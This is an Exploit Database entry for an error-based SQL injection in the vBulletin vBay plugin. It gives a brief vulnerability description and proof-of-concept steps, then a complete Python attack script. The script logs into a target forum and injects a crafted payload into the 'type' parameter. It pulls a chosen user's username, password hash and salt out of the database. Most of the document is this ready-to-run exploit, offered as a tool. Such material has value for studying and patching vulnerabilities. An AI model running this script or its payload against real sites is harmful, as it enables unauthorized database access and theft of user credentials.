vBulletin vBay 1.1.9 – Error-Based SQL Injection

• Exploit Database
• 9 阅读

• 作者： Dan UK
  日期： 2012-11-12
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/22656/

• #!/usr/bin/env python -W ignore::DeprecationWarning
   
  """
   
   VBay <= 1.1.9 - Remote Error based SQL Injection
   
  ~ Author:Dan UK
  ~ Contact: http://www.hackforums.net/member.php?action=profile&uid=817599
  ~ Date:10/11/12
   
   DETAILS
   Among a couple of other unsanitized parameters used within an INSERT INTO statement
   on line 424-460 of /upload/vbay.php, the "type" variable can be used to exploit this
   using error based sql injection, making it possible to grab anything the user wants
   from the vbulletin database (and any others if accessible).
   
   As said above, the affected file is /upload/vbay.php.
   On line 418, we can see the $vbulletin->input variable "type"
   being assigned with the datatype NO_HTML. Using this data type
   allows malicious attacks to still be executed.
   
   At line 448, it is used within the insert into statement,
   without any sanitization.
   
   
   POC
   - You will need to register an account.
   - Go to [site]/vbay.php?do=postauction.
   - Modify your post data using a tool such as live http headers, or setting it directly
   using a tool such as curl/wget to grab the source.
   - Set the value of "type=" to something that will cause an error, such as a single tick.
   Example: POST type='
   - If, when you view the source, you get a vbulletin error message surrounded within
   comments, then it's possible to go ahead. If not, blind is the way forward.
   
   If error based is possible for you, you could either just simply look at some tutorials
   and go from there, or run the script below which will grab the details for the user specified.
   
   Have fun.
   
  """
   
  from optparse import OptionParser, OptionGroup
  from argparse import OPTIONAL
  import cookielib, urllib, urllib2, httplib
  import sys, md5, urlparse, re
   
  """
  OPTION PARSER/USAGE
  """
  usage = "./%prog [options]\n"
  usage += "-h or --help for more help."
   
  # Required options
  parser = OptionParser(usage=usage)
  parser.add_option("-u", dest="username",
  help="Working username to the target forum.")
  parser.add_option("-p", dest="password",
  help="Working password to the target forum.")
  parser.add_option("--host", dest="forumpath",
  help="FULL path to the vbulletin forum.")
   
  # Optional Options
  optional = OptionGroup(parser, "Optional arguments")
  optional.add_option("-f", dest="userid",
  help="User ID to grab. Default is 1.", metavar="USERID",
  default="1")
  optional.add_option("-s", dest="prefix",
  help="Set the prefix of the vBulletin forum\
   Default is null.", default="")
  optional.add_option("-g", "--grab-prefix", dest="grabprefix",
  help="Grab the tables prefix.", default=False,
  action="store_true")
   
  parser.add_option_group(optional)
   
  (options, args) = parser.parse_args()
   
  if not options.forumpath:
  parser.error('[-] No forum path given.')
  if not options.username:
  parser.error('[-] No username given.')
  if not options.password:
  parser.error('[-] No password given.')
   
   
  """
  HEADER
  """
  def Header():
  header = """
  # # # # # # # # # # # # # # # # # #
  # VBay <=1.1.9 SQL Injection 0day #
  #By Dan_UK#
  # # # # # # # # # # # # # # # # # #\n"""
  return header
   
  """
  LOGIN AND EXTRACT NEEDED COOKIES
  """
  def loginForum(forum, username, password):
  md5pass = md5.md5(password).hexdigest()
  postdata = urllib.urlencode({
  'do':'login',
  'vb_login_md5password':md5pass,
  'vb_login_username':username,
  'cookieuser':'1'
   })
  cookie_jar = cookielib.CookieJar()
  handeler = urllib2.build_opener(urllib2.HTTPCookieProcessor(cookie_jar))
  handeler.open(forum + "login.php?do=login", postdata)
   
  for cookie in cookie_jar:
  if "bbsessionhash" in str(cookie):
  return cookie_jar
   
   
  """
  CHECK VBAY EXISTS
  """
  def get_server_status_code(forum):
  host, path = urlparse.urlparse(forum)[1:3]
  try:
  conn = httplib.HTTPConnection(host)
  conn.request('HEAD', path)
  return conn.getresponse().status
  except StandardError:
  return None
   
  def checkExists(forum):
  good_codes = [httplib.OK, httplib.FOUND, httplib.MOVED_PERMANENTLY]
  return get_server_status_code(forum + "vbay.php") in good_codes
   
  """
  CHECK DEBUG MODE ENABLED
  """
  def checkVuln(forum, cookie_jar):
  payload = {
   "POST":
  urllib.urlencode({"type":"'"}),
   "SCRIPT":"vbay.php?do=postauction"
  }
  try:
  handeler = urllib2.build_opener(urllib2.HTTPCookieProcessor(cookie_jar))
  resp = handeler.open(forum + payload["SCRIPT"], payload["POST"])
  except urllib2.HTTPError as e:
  e_mesg = e.read()
   
  if "MySQL Error" in e_mesg:
  return True
   
  """
  GRAB PREFIX
  """
  def grabPrefix(forum, cookie_jar):
  payload = {
   "SQL":urllib.urlencode({"type":"'"}),
   "SCRIPT":"vbay.php?do=postauction"
  }
   
  try:
  handler = urllib2.build_opener(urllib2.HTTPCookieProcessor(cookie_jar))
  resp = handler.open(forum + payload["SCRIPT"], payload["SQL"])
  except urllib2.HTTPError as e:
  e_mesg = e.read()
   
  prefix = re.search('INTO(.*)vbay_items', e_mesg).group(1)
  return prefix
   
   
   
  """
  GRAB INFO
  """
  def grabInfo(forum, cookie_jar, prefix, userid):
  # 0x2564656c696d312125 = "%delim1!%"
  payload = {
  "SQL":
  urllib.urlencode({
   "type":"' and (select 1 from (select count(*),concat((select(select concat(cast(concat(0x2564656c696d312125,COL_NAME,0x2564656c696d312125) as char),0x7e)) from " + str(prefix) + "user WHERE userid=" + str(userid) + " limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) or ''='",
  }),
   "COLS": ["username", "password", "salt"],
   "SCRIPT":"vbay.php?do=postauction"
  }
   
  info = []
  for col in payload["COLS"]:
  print "[!] Grabbing the %s" % col
  try:
  handler = urllib2.build_opener(urllib2.HTTPCookieProcessor(cookie_jar))
  resp = handler.open(forum + payload["SCRIPT"], payload["SQL"].replace("COL_NAME", col))
  except urllib2.HTTPError as e:
  e_mesg = e.read()
  info.append(e_mesg.split("%delim1!%")[1].strip("\n"))
  return info
   
   
  """
  MAIN
  """
  def main():
   username = options.username
   password = options.password
   forum = options.forumpath
   userid = options.userid
   prefix = options.prefix
   
   if forum.lower()[:7] != "http://":
   if forum.lower()[:8] == "https://":
   forum = forum.replace("https://", "http://")
   if forum[-1:] != "/":
   forum = forum + "/"
   
   print Header()
   
   print "[!] Trying to login to: " + forum
   if loginForum(forum, username, password):
   cookies = loginForum(forum, username, password)
   print "[+] Login works."
   else:
   print "[-] Login doesn't work. (" + username + ":" + password + ")"
   print "[-] Exiting."
   sys.exit()
   
   print "\n[!] Checking if vBay is installed.."
   if (checkExists(forum)):
   print "[+] vBay was found. Continuing with exploit."
   else:
   print "[-] vBay could no be found. (" + forum + "/vbay.php)"
   print "[-] Exiting."
   sys.exit()
   
   print "\n[!] Checking if debug mode is enabled.."
   if checkVuln(forum, cookies):
   print "[+] Debug mode is enabled, exploit is possible."
   
   if options.grabprefix == True:
   print "\n[!] Grabbing prefix."
   print "[+] Prefix found:" + grabPrefix(forum, cookies)
   sys.exit()
   
   
   print "\n[!] Grabbing info.\n"
   info = grabInfo(forum, cookies, prefix, userid)
   print "\n[+] Formatting for ease of view."
   print "\n\n[+] Username: " + info[0]
   print "[+] Password: " + info[1]
   print "[+] Salt: " + info[2]
   print "\n\nThanks for using my tool."
   
   
  if __name__ == "__main__":
  main()